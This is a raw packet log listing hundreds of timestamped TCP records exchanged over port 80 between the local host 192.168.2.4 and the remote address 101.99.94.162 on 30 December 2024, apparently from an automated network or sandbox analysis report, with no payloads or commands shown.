Dec 30, 2024 19:45:49.334399939 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334408998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334414005 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334419012 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334444046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334449053 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334455967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334465981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334482908 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334496975 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334825039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334836006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334846973 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334856987 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334867001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334872007 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334878922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334897041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334925890 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334929943 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334956884 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334966898 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334978104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334988117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334999084 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335022926 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335099936 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335109949 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335122108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335131884 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335145950 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335160017 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335189104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335200071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335211039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335228920 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335264921 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335319996 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335336924 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335345984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335355997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335386038 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335483074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335494995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335505009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335529089 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335549116 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335561037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335570097 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335592031 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335608006 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335741043 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335752010 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335762024 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335784912 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335798025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335813999 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335823059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335844040 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335864067 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335900068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335910082 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335952997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335961103 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.335963964 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335975885 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.335985899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.336004019 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.336030006 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.443871021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443891048 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443902969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443921089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443933010 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443933010 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.443943977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443957090 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443964005 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.443967104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443978071 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.443979979 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.443990946 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444004059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444006920 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444015026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444020987 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444032907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444060087 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444080114 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444242954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444287062 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444298029 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444324017 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444348097 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444359064 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444369078 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444379091 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444392920 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444402933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444411993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444422007 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444422960 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444434881 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444447041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444479942 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444593906 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444610119 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444621086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444632053 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444664001 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444722891 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444732904 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444771051 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444782019 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444792986 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444793940 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444806099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444816113 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444852114 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.444941998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444952965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444963932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444974899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.444988012 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445012093 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445035934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445045948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445096016 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445270061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445281982 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445291996 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445323944 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445415974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445426941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445439100 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445452929 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445463896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445463896 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445488930 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445502043 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445517063 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445527077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445542097 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445553064 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445569038 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445569992 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445580006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445586920 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445631027 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445635080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445647001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445656061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445681095 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445702076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445712090 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445723057 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445744991 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445763111 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445868015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445878983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445898056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445909977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.445928097 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.445950985 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553492069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553504944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553545952 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553558111 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553570032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553566933 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553582907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553606033 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553618908 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553639889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553715944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553725004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553735971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553746939 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553755999 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553766966 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553792000 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553800106 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553802013 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553906918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553916931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553926945 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553941011 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553951025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553961992 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553970098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.553977966 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.553980112 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554014921 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554025888 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554028988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554040909 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554073095 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554138899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554148912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554167032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554176092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554188967 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554224014 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554264069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554274082 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554306030 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554312944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554322958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554356098 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554394007 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554404974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554416895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554434061 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554460049 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554616928 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554636955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554649115 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554658890 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554666042 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554675102 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554718018 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554893970 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554905891 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554915905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554932117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554939032 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.554946899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554955959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.554966927 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555044889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555053949 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555073977 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555094957 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555104971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555114985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555157900 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555172920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555183887 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555192947 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555214882 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555226088 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555234909 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555239916 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555275917 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555285931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555295944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555332899 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555373907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555385113 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555394888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555434942 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555496931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555505991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555516958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555530071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555541992 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555568933 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555581093 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555592060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555619001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555627108 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555628061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555659056 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555687904 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555697918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555727959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555730104 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555737972 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555777073 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.555813074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555860043 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555869102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555879116 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.555912971 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.643832922 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.674971104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675065994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675077915 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675088882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675098896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675112009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675120115 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675122976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675144911 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675158978 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675203085 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675214052 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675224066 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675235987 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675246000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675251007 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675257921 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675265074 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675271034 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675282001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675288916 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675292969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675303936 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675317049 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675321102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675347090 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675354004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675357103 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675365925 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675376892 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675389051 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675401926 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675405025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675416946 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675426960 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675430059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675441980 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675451994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675462961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675461054 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675489902 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675489902 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675501108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675510883 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675522089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675525904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675538063 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675538063 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675550938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675558090 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675596952 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675654888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675666094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675677061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675687075 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675700903 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675707102 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675714970 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675721884 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675734997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675745964 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675749063 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675759077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675769091 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675781965 CET	80	50071	101.99.94.162	192.168.2.4
